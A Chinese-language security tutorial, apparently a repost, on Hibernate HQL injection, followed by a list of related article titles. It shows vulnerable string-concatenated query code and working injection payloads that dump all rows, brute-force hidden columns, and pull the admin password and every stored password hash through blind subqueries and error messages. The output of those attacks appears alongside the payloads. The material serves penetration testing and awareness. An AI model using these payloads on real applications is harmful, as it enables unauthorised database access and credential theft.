Hibernate HQL注入攻击入门

SQL注入是一种大家非常熟悉的攻击方式,目前网络上有大量存在注入漏洞的DBMS(如MySQL,Oracle,MSSQL等)。但是,我在网络上找不到针对Hibernate查询语言的相关资源。因此本文总结了笔者在阅读文档和不断试验过程中的一些经验技巧。

什么是Hibernate

Hibernate是一种ORM框架,用来映射与tables相关的类定义(代码),并包含一些高级特性,包括缓存以及继承,通常在Java与.NET中使用(可参考 NHibernate),但在Java生态系统中更受欢迎。

查询语言

首先,HQL查询并不直接发送给数据库,而是由hibernate引擎对查询进行解析并解释,然后将其转换为SQL。为什么这个细节重要呢?因为有两种错误消息来源,一种来自hibernate引擎,一种来自数据库。

HQL的一大挑战是注射模式非常有限,其没有联合,没有函数来创建简单延迟,没有系统函数,没有可用的元数据表等。Hibernate查询语言没有那些在后台数据库中可能存在的功能特性。

基础

以下示例代码用来进行之后的测试。需要注意的是,恶意输入总是在百分号之间:

session.createQuery("from Book where title like ‘%" + userInput + "%‘ and published = true")

列出所有实体

下面从最基础的开始:列出所有books

from Bookwhere title like ‘%‘    or 1=1    or ‘‘=‘%‘    and published = true

访问隐藏的列

尽管UNION操作符不可用,我们依然可以暴力破解隐藏的列。

from Bookwhere title like ‘%‘    and promoCode like ‘A%‘    or 1=2    and ‘‘=‘%‘    and published = true
from Bookwhere title like ‘%‘    and promoCode like ‘B%‘    or 1=2 and ‘‘=‘%‘    and published = true

列出所有的列

也许有读者可能会问,如果没有元数据表,怎么样才能发现隐藏的列/字段呢。我发现一个小窍门,不过只有Hibernate向客户端返回异常消息时才可用。如果列名不是Hibernate中实体定义的一部分,则其会触发异常:

from Bookwhere title like ‘%‘    and DOESNT_EXIST=1 and ‘‘=‘%‘    and published = true

触发异常:

org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like ‘%‘ or DOESNT_EXIST=‘%‘ and book0_.published=1 [42122-159]

通过该异常,可以看到Hibernate查询的列表名。

访问不同的表

如前所述,HQL支持UNION查询,可以与其它表join,但只有在模型明确定义了关系后才可使用。我发现访问其它表的唯一方法是使用子查询。

例如,以下查询会从表中选择一条与“User”实体关联的项。

from Bookwhere title like ‘%‘    and (select substring(password,1,1) from User where username=‘admin‘) = ‘a‘    or ‘‘=‘%‘    and published = true

之后就可以按常规的盲注模式进行盲注了。

非盲注

盲注比较费时间,如果异常消息能显示出来,就可以直接得到任意值了。为此,需要将某个选中的值转换为不同的类型。例如:

from Bookwhere title like ‘%11‘    and (select password from User where username=‘admin‘)=1    or ‘‘=‘%‘    and published = true

之后Hibernate就愉快地将异常消息返回了:

Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like ‘%11‘ and (select user1_.password from User user1_ where user1_.username = ‘admin‘)=1 or ‘‘=‘%‘ and book0_.published=1 [22018-159]

技巧:调用后台函数

如前所述,Hibernate会在SELECT和WHERE语句中隐藏一些不可识别的列名,对函数也一样。调用数据库函数的标准过程是 事先注册函数映射(HQL->SQL (Java代码),但攻击者不需要关心兼容性。最终查询中的完整函数可以用来窃取数据(group_concat, 
array_agg, …)或对后台数据库进行简单的指纹识别。

例如,如果数据库支持group_concat函数:

from Bookwhere title like ‘%11‘    and (select cast(group_concat(password) as string) from User)=1    or ‘‘=‘%‘    and published = true

则异常触发为:

Data conversion error converting"3f3ff0cdbfa0d515f8e3751e4ed98abe,79a41d71c31128ffab81ac8df2069f9c,b7fe6f6a1024db6e56027aeb558f9e68";SQL statement: select book0_.id as id18_, book0_.author as author18_, book0_.promotionCodeas promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like ‘%11‘ and (select cast(group_concat(user1_.password) as varchar(255)) from User user1_)=1 or ‘‘=‘%‘ and book0_.published=1 [22018-159]

总结

本文并不是讨论关于Hibernate的漏洞,而是利用HQL的技巧。如果有读者维护着使用Hibernate的Java web应用程序,可以运行FindBugs,利用这些规则识别与Hibernate API相关的潜在注入问题。

本文至此就结束了,希望对各位读者有所帮助!

参考

HQL: The Hibernate Query Language: Hibernate 官方文档

HQLmap:也许是目前能够进行自动HQL注入的唯一工具(暴力破解实体与列名)。

SQL Injection Wiki: 多种DBMS平台进行SQL注入的有用参考资料。

Pentestmonkey 
SQL Injection cheatsheets
: SQL注入的另一不错的参考资料。

[via h3xstream]

时间: 2024-10-20 01:23:28

Hibernate HQL注入攻击入门的相关文章

Hibernate HQL注入与防御(ctf实例)

遇到一个hql注入ctf题    这里总结下java中Hibernate HQL的注入问题. 0x01 关于HQL注入 Hibernate是一种ORM框架,用来映射与tables相关的类定义(代码) 内部可以使用原生SQL还有HQL语言进行SQL操作. HQL注入:Hibernate中没有对数据进行有效的验证导致恶意数据进入应用程序中造成的.参考SQL注入即可. HQL查询过程: HQL查询是由hibernate引擎对查询进行解析并解释,然后将其转换为SQL.所以错误消息来源有两种,一种来自hi

Hibernate框架中的HQL注入漏洞

 Hibernate是一种ORMapping框架,内部可以使用原生SQL还有HQL语言进行SQL操作. 所谓的HQL注入,就是指在Hibernate中没有对数据进行有效的验证导致恶意数据进入应用程序中造成的. 请看这段代码: Input参数即可造成注入. 不过在Hibernate中,一般都是在createQuery中使用PDO,使用setString填充占位符进行sql语句的拼接,如果是这样的话,自然就不存在SQL注入,但是不排除有人像上面的图片中的写法. 正常情况下: Sqlin参数存在注

安全性测试入门(二):Command Injection命令行注入攻击和防御

安全性测试入门(二):Command Injection命令行注入攻击和防御 本篇继续对于安全性测试话题,结合DVWA进行研习. Command Injection:命令注入攻击. 1. Command Injection命令注入 命令注入是通过在应用中执行宿主操作系统的命令,来达到破坏目的的一种攻击方式.如果我们的应用程序将不安全的用户输入传递给了系统命令解析器(shell),那么命令攻击就有可能发生. 通常来说,由应用程序传递操作系统命令会赋有和应用一样的权限,所以如果没有合理防御机制会给系

ADO.NET快速入门——带参数的查询防止SQL注入攻击

相关知识: 把单引号替换成两个单引号,虽然能起到一定的防止SQL注入攻击的作用,但是更为有效的办法是把要拼接的内容做成“参数” SQLCommand支持带参数的查询,也就是说,可以在查询语句中指定参数: 参数的设定: string strCmd = "SELECT AccountID FROM Account WHERE [email protected] AND [email protected]"; 对于SQL Server数据库,“@”是参数的前缀.上句中定义了两个参数:@Acc

ADO.NET快速入门——SQL注入攻击

相关知识: 可以通过字符串的拼接来构造一个SQL命令字符串,但是SQL命令字符串的拼接确是造成“SQL注入攻击”的重要原因. 考虑下列例子:从ProductCategory表中检索出Name为“Bikes”的类别信息.(示例数据库采用红皮书的数据库:AdventureWorks_WroxSSRS2012) 如果要凭借字符串,将写成: string name = "Bikes"; string strCmd = "SELECT ProductCategoryID, Name F

第九节:Hibernate Hql

查询语言 Hibernate 查询语言(HQL)是一种面向对象的查询语言,类似于 SQL,但不是去对表和列进行操作,而是面向对象和它们的属性. HQL 查询被 Hibernate 翻译为传统的 SQL 查询从而对数据库进行操作. 尽管你能直接使用本地 SQL 语句,但我还是建议你尽可能的使用 HQL 语句,以避免数据库关于可移植性的麻烦,并且体现了 Hibernate 的 SQL 生成和缓存策略. 在 HQL 中一些关键字比如 SELECT ,FROM 和 WHERE 等,是不区分大小写的,但是

Hibernate HQL查询:

Hibernate HQL查询:Criteria查询对查询条件进行了面向对象封装,符合编程人员的思维方式,不过HQL(Hibernate Query Lanaguage)查询提供了更加丰富的和灵活的查询特性,因此Hibernate将HQL查询方式立为官方推荐的标准查询方式,HQL查询在涵盖Criteria查询的所有功能的前提下,提供了类似标准SQL语句的查询方式,同时也提供了更加面向对象的封装.完整的HQL语句形势如下:Select/update/delete…… from …… where …

xss攻击入门【转载】

xss攻击入门 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制. xss攻击可以分成两种类型: 非持久型攻击 持久型攻击 下面我们通过具体例子,了解两种类型xss攻击. 1.非持久型xss攻击 顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响.非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,

Hibernate HQL查询语句总结

Hibernate HQL查询语句总结 1. 实体查询:有关实体查询技术,其实我们在先前已经有多次涉及,比如下面的例子:String hql="from User user ";List list=session.CreateQuery(hql).list();上面的代码执行结果是,查询出User实体对象所对应的所有数据,而且将数据封装成User实体对象,并且放入List中返回.这里需要注意的是,Hibernate的实体查询存在着对继承关系的判定,比如我们前面讨论映射实体继承关系中的E